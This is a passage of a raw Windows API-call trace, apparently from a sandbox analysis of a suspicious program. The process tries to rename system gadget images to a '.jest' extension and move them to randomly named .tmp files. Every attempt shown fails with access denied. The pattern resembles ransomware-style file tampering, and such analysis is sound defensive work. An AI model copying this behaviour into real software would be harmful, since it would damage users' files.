lpFilePart=0x18e6e4*="qRu-wmRlAtoU1zjXLXct1NcSf8cCEp0v1DpHWroGuU9a1fGNyvZ5STN95BGD1wK9tvEpS5XIJd7f3pbxmD6e WT4L0gW1MD0c_taz.tmp") returned 0x8f [0126.349] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qRu-wmRlAtoU1zjXLXct1NcSf8cCEp0v1DpHWroGuU9a1fGNyvZ5STN95BGD1wK9tvEpS5XIJd7f3pbxmD6e WT4L0gW1MD0c_taz.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x2d755271, cFileName="wmRlAtoU1zjXLXct1NcSf8cCEp0v1DpHWroGuU9a1fGNyvZ5STN95BGD1wK9tvEpS5XIJd7f3pbxmD6e WT4L0gW1MD0c_taz.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.349] GetLastError () returned 0x2 [0126.349] GetLastError () returned 0x2 [0126.349] SetLastError (dwErrCode=0x2) [0126.349] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔠ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.349] GetLastError () returned 0x0 [0126.350] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.350] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ō", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.350] GetLastError () returned 0x0 [0126.350] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.350] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.350] GetTickCount () returned 0x115208c [0126.350] GetTickCount () returned 0x115208c [0126.350] GetTickCount () returned 0x115208c [0126.350] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.350] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.350] GetTickCount () returned 0x115208c [0126.350] IsWindowVisible (hWnd=0x30268) returned 0 [0126.350] Sleep (dwMilliseconds=0x0) [0126.351] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot.png.jest")) returned 0 [0126.352] GetLastError () returned 0x5 [0126.352] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥摜慩摬瑯瀮杮") returned 0x4c [0126.352] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0126.353] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥摜慩摬瑯瀮杮") returned 0x4c [0126.353] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=77, lpWideCharStr=0x14cf24c, cchWideChar=153 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png") returned 77 [0126.353] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥摜慩摬瑯瀮杮樮獥t") returned 0x51 [0126.353] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=81, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0126.353] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥摜慩摬瑯瀮杮樮獥t") returned 0x51 [0126.353] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=82, lpWideCharStr=0x144eaec, cchWideChar=163 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png.jest") returned 82 [0126.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png", lpUsedDefaultChar=0x0) returned 77 [0126.353] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png", lpFilePart=0x18e6d8*="dialdot.png") returned 0x4c [0126.353] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb94e8514, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb94e8514, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb94d7b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc91, dwReserved0=0x57, dwReserved1=0x0, cFileName="dialdot.png", cAlternateFileName="")) returned 0x143ce48 [0126.354] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.355] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.355] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0xe8)) [0126.355] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0xe8)) [0126.355] GetUserDefaultLCID () returned 0x409 [0126.355] VarBstrFromR4 (in: fltIn=0x4794451e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.23") returned 0x0 [0126.355] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.355] GetTickCount () returned 0x115209b [0126.355] GetTickCount () returned 0x115209b [0126.355] GetTickCount () returned 0x115209b [0126.355] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.355] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.356] GetTickCount () returned 0x115209b [0126.356] IsWindowVisible (hWnd=0x30268) returned 0 [0126.356] Sleep (dwMilliseconds=0x0) [0126.359] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.359] GetFullPathNameA (in: lpFileName="QAlMuVlGxb2Bj9Ju-5IDLh56zkV6Ql73I5D8K77tgPBEc9-LeTGKTt-B iZwExNjJ8YXgH7CrtGgE21VvTfW6Mosd0esJ9sbC8QNm.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QAlMuVlGxb2Bj9Ju-5IDLh56zkV6Ql73I5D8K77tgPBEc9-LeTGKTt-B iZwExNjJ8YXgH7CrtGgE21VvTfW6Mosd0esJ9sbC8QNm.tmp", lpFilePart=0x18e708*="QAlMuVlGxb2Bj9Ju-5IDLh56zkV6Ql73I5D8K77tgPBEc9-LeTGKTt-B iZwExNjJ8YXgH7CrtGgE21VvTfW6Mosd0esJ9sbC8QNm.tmp") returned 0x8f [0126.360] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png", lpFilePart=0x18e708*="dialdot.png") returned 0x4c [0126.360] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QAlMuVlGxb2Bj9Ju-5IDLh56zkV6Ql73I5D8K77tgPBEc9-LeTGKTt-B iZwExNjJ8YXgH7CrtGgE21VvTfW6Mosd0esJ9sbC8QNm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qalmuvlgxb2bj9ju-5idlh56zkv6ql73i5d8k77tgpbec9-letgktt-b izwexnjj8yxgh7crtgge21vvtfw6mosd0esj9sbc8qnm.tmp")) returned 0 [0126.361] GetLastError () returned 0x5 [0126.361] GetLastError () returned 0x5 [0126.361] SetLastError (dwErrCode=0x5) [0126.361] GetLastError () returned 0x5 [0126.361] SetLastError (dwErrCode=0x5) [0126.361] GetLastError () returned 0x5 [0126.362] SetLastError (dwErrCode=0x5) [0126.362] GetFullPathNameA (in: lpFileName="QAlMuVlGxb2Bj9Ju-5IDLh56zkV6Ql73I5D8K77tgPBEc9-LeTGKTt-B iZwExNjJ8YXgH7CrtGgE21VvTfW6Mosd0esJ9sbC8QNm.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QAlMuVlGxb2Bj9Ju-5IDLh56zkV6Ql73I5D8K77tgPBEc9-LeTGKTt-B iZwExNjJ8YXgH7CrtGgE21VvTfW6Mosd0esJ9sbC8QNm.tmp", lpFilePart=0x18e6e4*="QAlMuVlGxb2Bj9Ju-5IDLh56zkV6Ql73I5D8K77tgPBEc9-LeTGKTt-B iZwExNjJ8YXgH7CrtGgE21VvTfW6Mosd0esJ9sbC8QNm.tmp") returned 0x8f [0126.362] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QAlMuVlGxb2Bj9Ju-5IDLh56zkV6Ql73I5D8K77tgPBEc9-LeTGKTt-B iZwExNjJ8YXgH7CrtGgE21VvTfW6Mosd0esJ9sbC8QNm.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4d6c4151, cFileName="uVlGxb2Bj9Ju-5IDLh56zkV6Ql73I5D8K77tgPBEc9-LeTGKTt-B iZwExNjJ8YXgH7CrtGgE21VvTfW6Mosd0esJ9sbC8QNm.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.362] GetLastError () returned 0x2 [0126.362] GetLastError () returned 0x2 [0126.362] SetLastError (dwErrCode=0x2) [0126.362] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔠ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.362] GetLastError () returned 0x0 [0126.362] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.363] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶈ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.363] GetLastError () returned 0x0 [0126.363] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.363] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔠ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.363] GetLastError () returned 0x0 [0126.363] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.364] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ō", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.364] GetLastError () returned 0x0 [0126.364] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.364] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.364] GetTickCount () returned 0x115209b [0126.364] GetTickCount () returned 0x115209b [0126.364] GetTickCount () returned 0x115209b [0126.364] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.364] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.364] GetTickCount () returned 0x115209b [0126.364] IsWindowVisible (hWnd=0x30268) returned 0 [0126.364] Sleep (dwMilliseconds=0x0) [0126.364] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg.png.jest")) returned 0 [0126.366] GetLastError () returned 0x5 [0126.366] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥摜慩彬牬⹧湰g") returned 0x4d [0126.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0126.366] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥摜慩彬牬⹧湰g") returned 0x4d [0126.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=78, lpWideCharStr=0x14cf24c, cchWideChar=155 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png") returned 78 [0126.366] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥摜慩彬牬⹧湰⹧敪瑳") returned 0x52 [0126.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=82, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0126.366] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥摜慩彬牬⹧湰⹧敪瑳") returned 0x52 [0126.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=83, lpWideCharStr=0x144bb04, cchWideChar=165 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png.jest") returned 83 [0126.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png", lpUsedDefaultChar=0x0) returned 78 [0126.366] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png", lpFilePart=0x18e6d8*="dial_lrg.png") returned 0x4d [0126.367] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb949c256, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb949c256, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb7e3aa9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x57, dwReserved1=0x0, cFileName="dial_lrg.png", cAlternateFileName="")) returned 0x143ce48 [0126.367] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.368] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.368] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.368] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0xe8)) [0126.368] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0xe8)) [0126.368] GetUserDefaultLCID () returned 0x409 [0126.369] VarBstrFromR4 (in: fltIn=0x4794451e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.23") returned 0x0 [0126.369] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.369] GetTickCount () returned 0x11520ab [0126.369] GetTickCount () returned 0x11520ab [0126.369] GetTickCount () returned 0x11520ab [0126.369] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.369] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.369] GetTickCount () returned 0x11520ab [0126.369] IsWindowVisible (hWnd=0x30268) returned 0 [0126.369] Sleep (dwMilliseconds=0x0) [0126.369] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.370] GetFullPathNameA (in: lpFileName="HuIZWvFpMTcPnoyf5aUZdW_lZ5Jo Tcn1zCMoOpt8SmiWe9omVHY-FlGR v5Du1kL1lKxkKNVJQB3p00fB98kdwawfoiEoOQ7W2.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HuIZWvFpMTcPnoyf5aUZdW_lZ5Jo Tcn1zCMoOpt8SmiWe9omVHY-FlGR v5Du1kL1lKxkKNVJQB3p00fB98kdwawfoiEoOQ7W2.tmp", lpFilePart=0x18e708*="HuIZWvFpMTcPnoyf5aUZdW_lZ5Jo Tcn1zCMoOpt8SmiWe9omVHY-FlGR v5Du1kL1lKxkKNVJQB3p00fB98kdwawfoiEoOQ7W2.tmp") returned 0x8d [0126.370] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png", lpFilePart=0x18e708*="dial_lrg.png") returned 0x4d [0126.370] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HuIZWvFpMTcPnoyf5aUZdW_lZ5Jo Tcn1zCMoOpt8SmiWe9omVHY-FlGR v5Du1kL1lKxkKNVJQB3p00fB98kdwawfoiEoOQ7W2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\huizwvfpmtcpnoyf5auzdw_lz5jo tcn1zcmoopt8smiwe9omvhy-flgr v5du1kl1lkxkknvjqb3p00fb98kdwawfoieooq7w2.tmp")) returned 0 [0126.372] GetLastError () returned 0x5 [0126.372] GetLastError () returned 0x5 [0126.372] SetLastError (dwErrCode=0x5) [0126.372] GetLastError () returned 0x5 [0126.372] SetLastError (dwErrCode=0x5) [0126.372] GetLastError () returned 0x5 [0126.372] SetLastError (dwErrCode=0x5) [0126.372] GetFullPathNameA (in: lpFileName="HuIZWvFpMTcPnoyf5aUZdW_lZ5Jo Tcn1zCMoOpt8SmiWe9omVHY-FlGR v5Du1kL1lKxkKNVJQB3p00fB98kdwawfoiEoOQ7W2.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HuIZWvFpMTcPnoyf5aUZdW_lZ5Jo Tcn1zCMoOpt8SmiWe9omVHY-FlGR v5Du1kL1lKxkKNVJQB3p00fB98kdwawfoiEoOQ7W2.tmp", lpFilePart=0x18e6e4*="HuIZWvFpMTcPnoyf5aUZdW_lZ5Jo Tcn1zCMoOpt8SmiWe9omVHY-FlGR v5Du1kL1lKxkKNVJQB3p00fB98kdwawfoiEoOQ7W2.tmp") returned 0x8d [0126.372] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HuIZWvFpMTcPnoyf5aUZdW_lZ5Jo Tcn1zCMoOpt8SmiWe9omVHY-FlGR v5Du1kL1lKxkKNVJQB3p00fB98kdwawfoiEoOQ7W2.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5a497548, cFileName="WvFpMTcPnoyf5aUZdW_lZ5Jo Tcn1zCMoOpt8SmiWe9omVHY-FlGR v5Du1kL1lKxkKNVJQB3p00fB98kdwawfoiEoOQ7W2.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.372] GetLastError () returned 0x2 [0126.372] GetLastError () returned 0x2 [0126.372] SetLastError (dwErrCode=0x2) [0126.373] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔠ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.373] GetLastError () returned 0x0 [0126.373] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 